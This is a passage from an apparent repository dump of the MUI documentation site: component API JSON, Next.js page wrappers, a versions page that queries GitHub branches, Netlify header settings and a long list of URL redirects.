'@mui/system/Grid';\", \"import { Grid } from '@mui/system';\"],\n  \"classes\": [\n    {\n      \"key\": \"container\",\n      \"className\": \"MuiGrid-container\",\n      \"description\": \"Styles applied to the root element if `container={true}`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"direction-xs-column\",\n      \"className\": \"MuiGrid-direction-xs-column\",\n      \"description\": \"Styles applied to the root element if `direction=\\\"column\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"direction-xs-column-reverse\",\n      \"className\": \"MuiGrid-direction-xs-column-reverse\",\n      \"description\": \"Styles applied to the root element if `direction=\\\"column-reverse\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"direction-xs-row-reverse\",\n      \"className\": \"MuiGrid-direction-xs-row-reverse\",\n      \"description\": \"Styles applied to the root element if `direction=\\\"row-reverse\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiGrid-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"wrap-xs-nowrap\",\n      \"className\": \"MuiGrid-wrap-xs-nowrap\",\n      \"description\": \"Styles applied to the root element if `wrap=\\\"nowrap\\\"`.\",\n      \"isGlobal\": false\n    },\n    {\n      \"key\": \"wrap-xs-wrap-reverse\",\n      \"className\": \"MuiGrid-wrap-xs-wrap-reverse\",\n      \"description\": \"Styles applied to the root element if `wrap=\\\"reverse\\\"`.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiGrid\",\n  \"forwardsRefTo\": \"HTMLElement\",\n  \"filename\": \"/packages/mui-system/src/Grid/Grid.tsx\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-grid/\\\">Grid (Material UI)</a></li></ul>\",\n  \"cssComponent\": true\n}\n"
  },
  {
    "path": "docs/pages/system/api/stack.js",
    "content": "import * as React from 'react';\nimport ApiPage from 'docs/src/modules/components/ApiPage';\nimport mapApiPageTranslations from 'docs/src/modules/utils/mapApiPageTranslations';\nimport jsonPageContent from './stack.json';\n\nexport default function Page(props) {\n  const { descriptions } = props;\n  return <ApiPage descriptions={descriptions} pageContent={jsonPageContent} />;\n}\n\nexport async function getStaticProps() {\n  const req = require.context('docs/translations/api-docs/stack', false, /\\.\\/stack.*\\.json$/);\n  const descriptions = mapApiPageTranslations(req);\n\n  return { props: { descriptions } };\n}\n"
  },
  {
    "path": "docs/pages/system/api/stack.json",
    "content": "{\n  \"props\": {\n    \"children\": { \"type\": { \"name\": \"node\" } },\n    \"component\": { \"type\": { \"name\": \"elementType\" } },\n    \"direction\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"'column-reverse'<br>&#124;&nbsp;'column'<br>&#124;&nbsp;'row-reverse'<br>&#124;&nbsp;'row'<br>&#124;&nbsp;Array&lt;'column-reverse'<br>&#124;&nbsp;'column'<br>&#124;&nbsp;'row-reverse'<br>&#124;&nbsp;'row'&gt;<br>&#124;&nbsp;object\"\n      },\n      \"default\": \"'column'\"\n    },\n    \"divider\": { \"type\": { \"name\": \"node\" } },\n    \"spacing\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;number<br>&#124;&nbsp;string&gt;<br>&#124;&nbsp;number<br>&#124;&nbsp;object<br>&#124;&nbsp;string\"\n      },\n      \"default\": \"0\"\n    },\n    \"sx\": {\n      \"type\": {\n        \"name\": \"union\",\n        \"description\": \"Array&lt;func<br>&#124;&nbsp;object<br>&#124;&nbsp;bool&gt;<br>&#124;&nbsp;func<br>&#124;&nbsp;object\"\n      },\n      \"additionalInfo\": { \"sx\": true }\n    },\n    \"useFlexGap\": { \"type\": { \"name\": \"bool\" }, \"default\": \"false\" }\n  },\n  \"name\": \"Stack\",\n  \"imports\": [\"import Stack from '@mui/system/Stack';\", \"import { Stack } from '@mui/system';\"],\n  \"classes\": [\n    {\n      \"key\": \"root\",\n      \"className\": \"MuiStack-root\",\n      \"description\": \"Styles applied to the root element.\",\n      \"isGlobal\": false\n    }\n  ],\n  \"spread\": true,\n  \"themeDefaultProps\": true,\n  \"muiName\": \"MuiStack\",\n  \"forwardsRefTo\": \"HTMLDivElement\",\n  \"filename\": \"/packages/mui-system/src/Stack/Stack.tsx\",\n  \"inheritance\": null,\n  \"demos\": \"<ul><li><a href=\\\"/material-ui/react-stack/\\\">Stack (Material UI)</a></li>\\n<li><a href=\\\"/system/react-stack/\\\">Stack (MUI System)</a></li></ul>\",\n  \"cssComponent\": true\n}\n"
  },
  {
    "path": "docs/pages/system/borders.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/borders/borders.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/display.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/display/display.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/experimental-api/configure-the-sx-prop.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/experimental-api/configure-the-sx-prop/configure-the-sx-prop.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/experimental-api/css-theme-variables.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/experimental-api/css-theme-variables/css-theme-variables.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/flexbox.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/flexbox/flexbox.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/getting-started/custom-components.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/getting-started/custom-components/custom-components.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/getting-started/index.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/getting-started/overview/overview.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} disableAd />;\n}\n"
  },
  {
    "path": "docs/pages/system/getting-started/installation.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/getting-started/installation/installation.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} disableAd />;\n}\n"
  },
  {
    "path": "docs/pages/system/getting-started/support.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/getting-started/support/support.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} disableAd />;\n}\n"
  },
  {
    "path": "docs/pages/system/getting-started/the-sx-prop.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/getting-started/the-sx-prop/the-sx-prop.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/getting-started/usage.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/getting-started/usage/usage.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} disableAd />;\n}\n"
  },
  {
    "path": "docs/pages/system/grid.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/grid/grid.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/migration/migrating-to-v6.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/migration/migrating-to-v6/migrating-to-v6.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/migration/upgrade-to-v7.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/migration/upgrade-to-v7/upgrade-to-v7.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/migration/upgrade-to-v9.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/migration/upgrade-to-v9/upgrade-to-v9.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/palette.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/palette/palette.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/positions.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/positions/positions.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/properties.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/properties/properties.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/react-box.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/components/box/box.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/react-container.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/components/container/container.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/react-grid.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/components/grid/grid.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/react-stack.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/components/stack/stack.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/screen-readers.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/screen-readers/screen-readers.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/shadows.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/shadows/shadows.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/sizing.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/sizing/sizing.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/spacing.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/spacing/spacing.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/styled.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/styled/styled.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/system/typography.js",
    "content": "import MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport * as pageProps from 'docs/data/system/typography/typography.md?muiMarkdown';\n\nexport default function Page() {\n  return <MarkdownDocs {...pageProps} />;\n}\n"
  },
  {
    "path": "docs/pages/templates.tsx",
    "content": "import Divider from '@mui/material/Divider';\nimport Head from 'docs/src/modules/components/Head';\nimport AppHeader from 'docs/src/layouts/AppHeader';\nimport AppFooter from 'docs/src/layouts/AppFooter';\nimport TemplateHero from 'docs/src/components/productTemplate/TemplateHero';\nimport ValueProposition from 'docs/src/components/home/ValueProposition';\nimport TemplateDemo from 'docs/src/components/productTemplate/TemplateDemo';\nimport Testimonials from 'docs/src/components/home/Testimonials';\nimport HeroEnd from 'docs/src/components/home/HeroEnd';\nimport { BrandingCssVarsProvider } from '@mui/docs/branding';\nimport References, { TEMPLATES_CUSTOMERS } from 'docs/src/components/home/References';\nimport AppHeaderBanner from 'docs/src/components/banner/AppHeaderBanner';\n\nexport default function Templates() {\n  return (\n    <BrandingCssVarsProvider>\n      <Head\n        title=\"Fully built Material UI templates - MUI\"\n        description=\"A collection of 4.5 average rating templates, selected and curated by MUI's team of maintainers to get your projects up and running today.\"\n        card=\"/static/social-previews/templates-preview.jpg\"\n      />\n      <AppHeaderBanner />\n      <AppHeader />\n      <main id=\"main-content\">\n        <TemplateHero />\n        <References companies={TEMPLATES_CUSTOMERS} />\n        <Divider />\n        <ValueProposition />\n        <Divider />\n        <TemplateDemo />\n        <Divider />\n        <Testimonials />\n        <Divider />\n        <HeroEnd />\n      </main>\n      <Divider />\n      <AppFooter />\n    </BrandingCssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "docs/pages/versions.js",
    "content": "import { uniqBy } from 'es-toolkit/array';\nimport MarkdownDocs from 'docs/src/modules/components/MarkdownDocs';\nimport VersionsContext from 'docs/src/pages/versions/VersionsContext';\nimport * as pageProps from 'docs/src/pages/versions/versions.md?muiMarkdown';\n\nexport default function Page(props) {\n  const { versions } = props;\n  return (\n    <VersionsContext.Provider value={versions}>\n      <MarkdownDocs {...pageProps} />\n    </VersionsContext.Provider>\n  );\n}\n\nfunction formatVersion(version) {\n  return version\n    .replace('v', '')\n    .split('.')\n    .map((n) => +n + 1000)\n    .join('.');\n}\n\nasync function getBranches() {\n  const result = await fetch('https://api.github.com/repos/mui/material-ui-docs/branches', {\n    headers: {\n      Authorization: process.env.GITHUB_AUTH,\n    },\n  });\n  const text = await result.text();\n\n  if (result.status !== 200) {\n    throw new Error(text);\n  }\n\n  return JSON.parse(text);\n}\n\nexport async function getStaticProps() {\n  const FILTERED_BRANCHES = ['latest', 'l10n', 'next', 'migration', 'material-ui.com'];\n\n  const branches = await getBranches();\n  /**\n   * @type {import('docs/src/pages/versions/VersionsContext').VersionsContextValue}\n   */\n  const versions = [];\n  branches.forEach((branch) => {\n    if (!FILTERED_BRANCHES.includes(branch.name)) {\n      const version = branch.name;\n      versions.push({\n        version,\n        // Replace dot with dashes for Netlify branch subdomains\n        url: `https://${version.replace(/\\./g, '-')}.mui.com`,\n      });\n    }\n  });\n  // Current version.\n  versions.push({\n    version: `v${process.env.LIB_VERSION}`,\n    url: 'https://mui.com',\n  });\n  // Legacy documentation.\n  versions.push({\n    version: 'v0',\n    url: 'https://v0.mui.com',\n  });\n  versions.sort((a, b) => formatVersion(b.version).localeCompare(formatVersion(a.version)));\n\n  if (\n    branches.find((branch) => branch.name === 'next') &&\n    !versions.find((version) => /beta|alpha/.test(version.version))\n  ) {\n    versions.unshift({\n      version: `v${Number(versions[0].version[1]) + 1} pre-release`,\n      url: 'https://next.mui.com',\n    });\n  }\n\n  return { props: { versions: uniqBy(versions, (item) => item.version) } };\n}\n"
  },
  {
    "path": "docs/pages/x.tsx",
    "content": "import Divider from '@mui/material/Divider';\nimport Head from 'docs/src/modules/components/Head';\nimport { BrandingCssVarsProvider } from '@mui/docs/branding';\nimport AppHeader from 'docs/src/layouts/AppHeader';\nimport AppFooter from 'docs/src/layouts/AppFooter';\nimport AppHeaderBanner from 'docs/src/components/banner/AppHeaderBanner';\nimport References, { ADVANCED_CUSTOMERS } from 'docs/src/components/home/References';\nimport XHero from 'docs/src/components/productX/XHero';\nimport XComponents from 'docs/src/components/productX/XComponents';\nimport XDataGrid from 'docs/src/components/productX/XDataGrid';\nimport XPlans from 'docs/src/components/productX/XPlans';\nimport XTheming from 'docs/src/components/productX/XTheming';\nimport XRoadmap from 'docs/src/components/productX/XRoadmap';\n\nexport default function X() {\n  return (\n    <BrandingCssVarsProvider>\n      <Head\n        title=\"MUI X: Advanced React components for complex use cases\"\n        description=\"Build complex and data-rich applications using a growing list of advanced React\n        components, like the Data Grid, Date and Time Pickers, Charts, and more!\"\n        card=\"/static/social-previews/muix-preview.jpg\"\n      />\n      <AppHeaderBanner />\n      <AppHeader gitHubRepository=\"https://github.com/mui/mui-x\" />\n      <main id=\"main-content\">\n        <XHero />\n        <References companies={ADVANCED_CUSTOMERS} />\n        <Divider />\n        <XComponents />\n        <Divider />\n        <XDataGrid />\n        <Divider />\n        <XTheming />\n        <Divider />\n        <XPlans />\n        <Divider />\n        <XRoadmap />\n        <Divider />\n      </main>\n      <AppFooter stackOverflowUrl=\"https://stackoverflow.com/questions/tagged/mui-x-charts+or+mui-x-data-grid+or+mui-x-date-picker+or+mui-x-tree-view\" />\n    </BrandingCssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "docs/postcss.config.js",
    "content": "module.exports = {\n  plugins: {\n    'postcss-import': {},\n    '@tailwindcss/postcss': {},\n  },\n};\n"
  },
  {
    "path": "docs/public/_headers",
    "content": "/_next/*.js\n  Cache-Control: public, max-age=31536000, immutable\n\n/static/images/*\n  Cache-Control: public, max-age=86400\n\n/favicon.ico\n  Content-Type: image/x-icon\n\n/performance/*\n  X-Robots-Tag: noindex\n\n/experiments/*\n  X-Robots-Tag: noindex\n\n/*\n  Strict-Transport-Security: max-age=31536000; includeSubDomains; preload\n  # Block usage in iframes.\n  X-Frame-Options: SAMEORIGIN\n  # Force the browser to trust the Content-Type header\n  # https://stackoverflow.com/questions/18337630/what-is-x-content-type-options-nosniff\n  X-Content-Type-Options: nosniff\n  X-XSS-Protection: 1; mode=block\n  Referrer-Policy: strict-origin-when-cross-origin\n  # TODO: progressively reduce the CSP scopes\n  # Start with a wildcard, using https://github.com/mui/toolpad/blob/f4c4eb046b352e4fc00729c3bed605e671b040c4/packages/toolpad-studio/src/server/index.ts#L241\n  Content-Security-Policy: default-src * data: mediastream: blob: filesystem: about: ws: wss: 'unsafe-eval' 'wasm-unsafe-eval' 'unsafe-inline'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src-elem * data: blob: 'unsafe-inline'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; media-src * data: blob: 'unsafe-inline'; frame-src * data: blob: ; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; frame-ancestors *;\n"
  },
  {
    "path": "docs/public/_redirects",
    "content": "# Link used in the demos, avoid 404\n/drafts / 301\n/inbox* / 301\n/trash / 301\n/spam / 301\n/sign-up / 301\n/auth* / 301\n\n/size-snapshot https://s3.eu-central-1.amazonaws.com/mui-org-ci/artifacts/master/latest/size-snapshot.json 200\n\n# For links that we can't edit later on, for example hosted in the code published on npm\n/r/styles-instance-warning /material-ui/getting-started/faq/#i-have-several-instances-of-styles-on-the-page 302\n/r/caveat-with-refs-guide /material-ui/guides/composition/#caveat-with-refs 302\n/r/pseudo-classes-guide /material-ui/customization/how-to-customize/#state-classes 302\n/r/state-classes-guide /material-ui/customization/how-to-customize/#state-classes 302\n/r/input-component-ref-interface /material-ui/react-text-field/#integration-with-3rd-party-input-libraries 302\n/r/issue-template https://stackblitz.com/github/stackblitz/starters/tree/main/react-ts 302\n/r/issue-template-next https://stackblitz.com/github/stackblitz/starters/tree/main/react-ts 302\n/r/issue-template-latest https://stackblitz.com/github/stackblitz/starters/tree/main/react-ts 302\n/r/ts-issue-template https://www.typescriptlang.org/play?#code/JYWwDg9gTgLgBAKjgQwM5wEoFNkGN4BmUEIcA5FDvmQNwBQokscA3nXHAPSdwwAWWOLhKQAdllEx0ATwgBXOHNRYAJnQC+cIiXIABEHOCcQyGFijBkAGzJ06BOaPzAIouABEsICAAoAlKzsXDwAmvJQQhAqWBpAA 302\n/r/custom-component-variants /material-ui/customization/how-to-customize/#adding-new-component-variants 302\n/r/migration-v4 /material-ui/migration/migration-v4/ 302\n/r/pigment /blog/introducing-pigment-css/ 302\n\n# Legacy redirection\n# Added in chronological order (the last line is the most recent one)\n# To be removed 3+ years after being introduced\n# 2019\n/css-in-js/* /styles/:splat 301\n/customization/css-in-js/ https://v6.mui.com/system/styles/basics/ 301\n/customization/overrides/ /material-ui/customization/how-to-customize/ 301\n/demos/selection-controls/ /material-ui/react-radio-button/ 301\n/demos/* /components/:splat 301\n/getting-started/page-layout-examples/* /getting-started/templates/:splat 301\n/guides/csp/ /material-ui/guides/content-security-policy/\n/guides/migration-v0.x /material-ui/guides/migration-v0x/ 301\n/lab/about/ /material-ui/about-the-lab/ 301\n/lab/api/* /api/:splat 301\n/lab/* /components/:splat 301\n/layout/basics/ /material-ui/guides/responsive-ui/ 301\n/layout/breakpoints/ /material-ui/customization/breakpoints/ 301\n/layout/css-in-js/ https://v6.mui.com/system/styles/basics/ 301\n/layout/* /components/:splat 301\n/page-layout-examples/* /material-ui/getting-started/templates/:splat 301\n/style/color/ /material-ui/customization/color/ 301\n/style/reboot/ /material-ui/react-css-baseline/ 301\n/style/typography https://v3.mui.com/style/typography/#migration-to-typography-v2 301\n/style/* /components/:splat 301\n/utils/modals/ /material-ui/react-modal/ 301\n/utils/popovers/ /material-ui/react-popover/ 301\n/utils/* /components/:splat 301\n/api/mui-theme-provider/ https://v6.mui.com/system/styles/api/ 301\n/components/expansion-panels/ /material-ui/react-accordion/ 301\n/api/expansion-panel/ /material-ui/api/accordion/ 301\n/:lang/api/expansion-panel/ /:lang/material-ui/api/accordion/ 301\n/api/expansion-panel-actions/ /material-ui/api/accordion-actions/ 301\n/:lang/api/expansion-panel-actions/ /:lang/material-ui/api/accordion-actions/ 301\n/api/expansion-panel-details/ /material-ui/api/accordion-details/ 301\n/:lang/api/expansion-panel-details/ /:lang/material-ui/api/accordion-details/ 301\n/api/expansion-panel-summary/ /material-ui/api/accordion-summary/ 301\n/:lang/api/expansion-panel-summary/ /:lang/material-ui/api/accordion-summary/ 301\n# 2020\n/premium-themes* https://mui.com/store/ 301\n/customization/themes/ /material-ui/customization/theming/ 301\nhttps://v1-5-0.mui.com/* https://v1.mui.com/:splat 301!\nhttps://v3-9-0.mui.com/* https://v3.mui.com/:splat 301!\n/components/grid-list/ /material-ui/react-image-list/ 301\n/api/grid-list/ /material-ui/api/image-list/ 301\n/:lang/api/grid-list/ /:lang/material-ui/api/image-list/ 301\n/api/grid-list-tile/ /material-ui/api/image-list-item/ 301\n/:lang/api/grid-list-tile/ /:lang/material-ui/api/image-list-item/ 301\n/api/grid-list-tile-bar/ /material-ui/api/image-list-item-bar/ 301\n/:lang/api/grid-list-tile-bar/ /:lang/material-ui/api/image-list-item-bar/ 301\n/customization/components/ /material-ui/customization/how-to-customize/ 301\n/:lang/customization/components/ /:lang/material-ui/customization/how-to-customize/ 301\n/customization/globals/ /material-ui/customization/theme-components/ 301\n/:lang/customization/globals/ /:lang/material-ui/customization/theme-components/ 301\n# 2021\n/api/root-ref/ https://v4.mui.com/api/root-ref/ 301\n/:lang/api/root-ref/ https://v4.mui.com/:lang/api/root-ref/ 301\n/components/slider-styled/ /material-ui/react-slider/ 301\n/customization/styled/ /system/styled/ 301\n/api/data-grid/x-grid/ /x/api/data-grid/data-grid-pro/ 301\n/api/x-grid/ /x/api/data-grid/data-grid-pro/ 301\nhttps://next.material-ui.com/* https://mui.com/:splat 301!\nhttps://v0.material-ui.com/* https://v0.mui.com/:splat 301!\nhttps://v1.material-ui.com/* https://v1.mui.com/:splat 301!\nhttps://v3.material-ui.com/* https://v3.mui.com/:splat 301!\nhttps://v4.material-ui.com/* https://v4.mui.com/:splat 301!\n/company/careers/ /careers/ 301\n/:lang/company/careers/ /:lang/careers/ 301\n/discover-more/team/ /about/ 301\n/:lang/discover-more/team/ /:lang/about/ 301\n/api/data-grid/grid-export-csv-options/ /x/api/data-grid/grid-csv-export-options/ 301\n/fr/* /:splat 301\n/de/* /:splat 301\n/ja/* /:splat 301\n/ru/* /:splat 301\n/es/* /:splat 301\n# 2022\n/components/data-grid/* /x/react-data-grid/:splat 301\n/:lang/components/data-grid/* /:lang/x/react-data-grid/:splat 301\n/api/data-grid/* /x/api/data-grid/:splat 301\n### specific to current supported languages, to prevent this redirect: /x/api/data-grid/* => /x/x/api/data-grid/*\n/zh/api/data-grid/* /zh/x/api/data-grid/:splat 301\n/pt/api/data-grid/* /pt/x/api/data-grid/:splat 301\n/components/date-picker/ /x/react-date-pickers/date-picker/ 301\n/:lang/components/date-picker/ /:lang/x/react-date-pickers/date-picker/ 301\n/components/date-range-picker/ /x/react-date-pickers/date-range-picker/ 301\n/:lang/components/date-range-picker/ /:lang/x/react-date-pickers/date-range-picker/ 301\n/components/date-time-picker/ /x/react-date-pickers/date-time-picker/ 301\n/:lang/components/date-time-picker/ /:lang/x/react-date-pickers/date-time-picker/ 301\n/components/time-picker/ /x/react-date-pickers/time-picker/ 301\n/:lang/components/time-picker/ /:lang/x/react-date-pickers/time-picker/ 301\n/api/date-picker/ /x/api/date-pickers/date-picker/ 301\n/zh/api/date-picker/ /zh/x/api/date-pickers/date-picker/ 301\n/pt/api/date-picker/ /pt/x/api/date-pickers/date-picker/ 301\n/api/date-range-picker/ /x/api/date-pickers/date-range-picker/ 301\n/zh/api/date-range-picker/ /zh/x/api/date-pickers/date-range-picker/ 301\n/pt/api/date-range-picker/ /pt/x/api/date-pickers/date-range-picker/ 301\n/api/date-range-picker-day/ /x/api/date-pickers/date-range-picker-day/ 301\n/zh/api/date-range-picker-day/ /zh/x/api/date-pickers/date-range-picker-day/ 301\n/pt/api/date-range-picker-day/ /pt/x/api/date-pickers/date-range-picker-day/ 301\n/api/date-time-picker/ /x/api/date-pickers/date-time-picker/ 301\n/zh/api/date-time-picker/ /zh/x/api/date-pickers/date-time-picker/ 301\n/pt/api/date-time-picker/ /pt/x/api/date-pickers/date-time-picker/ 301\n/api/desktop-date-picker/ /x/api/date-pickers/desktop-date-picker/ 301\n/zh/api/desktop-date-picker/ /zh/x/api/date-pickers/desktop-date-picker/ 301\n/pt/api/desktop-date-picker/ /pt/x/api/date-pickers/desktop-date-picker/ 301\n/api/desktop-date-range-picker/ /x/api/date-pickers/desktop-date-range-picker/ 301\n/zh/api/desktop-date-range-picker/ /zh/x/api/date-pickers/desktop-date-range-picker/ 301\n/pt/api/desktop-date-range-picker/ /pt/x/api/date-pickers/desktop-date-range-picker/ 301\n/api/desktop-date-time-picker/ /x/api/date-pickers/desktop-date-time-picker/ 301\n/zh/api/desktop-date-time-picker/ /zh/x/api/date-pickers/desktop-date-time-picker/ 301\n/pt/api/desktop-date-time-picker/ /pt/x/api/date-pickers/desktop-date-time-picker/ 301\n/api/desktop-time-picker/ /x/api/date-pickers/desktop-time-picker/ 301\n/zh/api/desktop-time-picker/ /zh/x/api/date-pickers/desktop-time-picker/ 301\n/pt/api/desktop-time-picker/ /pt/x/api/date-pickers/desktop-time-picker/ 301\n/api/calendar-picker/ /x/api/date-pickers/calendar-picker/ 301\n/zh/api/calendar-picker/ /zh/x/api/date-pickers/calendar-picker/ 301\n/pt/api/calendar-picker/ /pt/x/api/date-pickers/calendar-picker/ 301\n/api/calendar-picker-skeleton/ /x/api/date-pickers/calendar-picker-skeleton/ 301\n/zh/api/calendar-picker-skeleton/ /zh/x/api/date-pickers/calendar-picker-skeleton/ 301\n/pt/api/calendar-picker-skeleton/ /pt/x/api/date-pickers/calendar-picker-skeleton/ 301\n/api/mobile-date-picker/ /x/api/date-pickers/mobile-date-picker/ 301\n/zh/api/mobile-date-picker/ /zh/x/api/date-pickers/mobile-date-picker/ 301\n/pt/api/mobile-date-picker/ /pt/x/api/date-pickers/mobile-date-picker/ 301\n/api/month-picker/ /x/api/date-pickers/month-picker/ 301\n/zh/api/month-picker/ /zh/x/api/date-pickers/month-picker/ 301\n/pt/api/month-picker/ /pt/x/api/date-pickers/month-picker/ 301\n/api/pickers-day/ /x/api/date-pickers/pickers-day/ 301\n/zh/api/pickers-day/ /zh/x/api/date-pickers/pickers-day/ 301\n/pt/api/pickers-day/ /pt/x/api/date-pickers/pickers-day/ 301\n/api/static-date-picker/ /x/api/date-pickers/static-date-picker/ 301\n/zh/api/static-date-picker/ /zh/x/api/date-pickers/static-date-picker/ 301\n/pt/api/static-date-picker/ /pt/x/api/date-pickers/static-date-picker/ 301\n/api/year-picker/ /x/api/date-pickers/year-picker/ 301\n/zh/api/year-picker/ /zh/x/api/date-pickers/year-picker/ 301\n/pt/api/year-picker/ /pt/x/api/date-pickers/year-picker/ 301\n/api/mobile-date-range-picker/ /x/api/date-pickers/mobile-date-range-picker/ 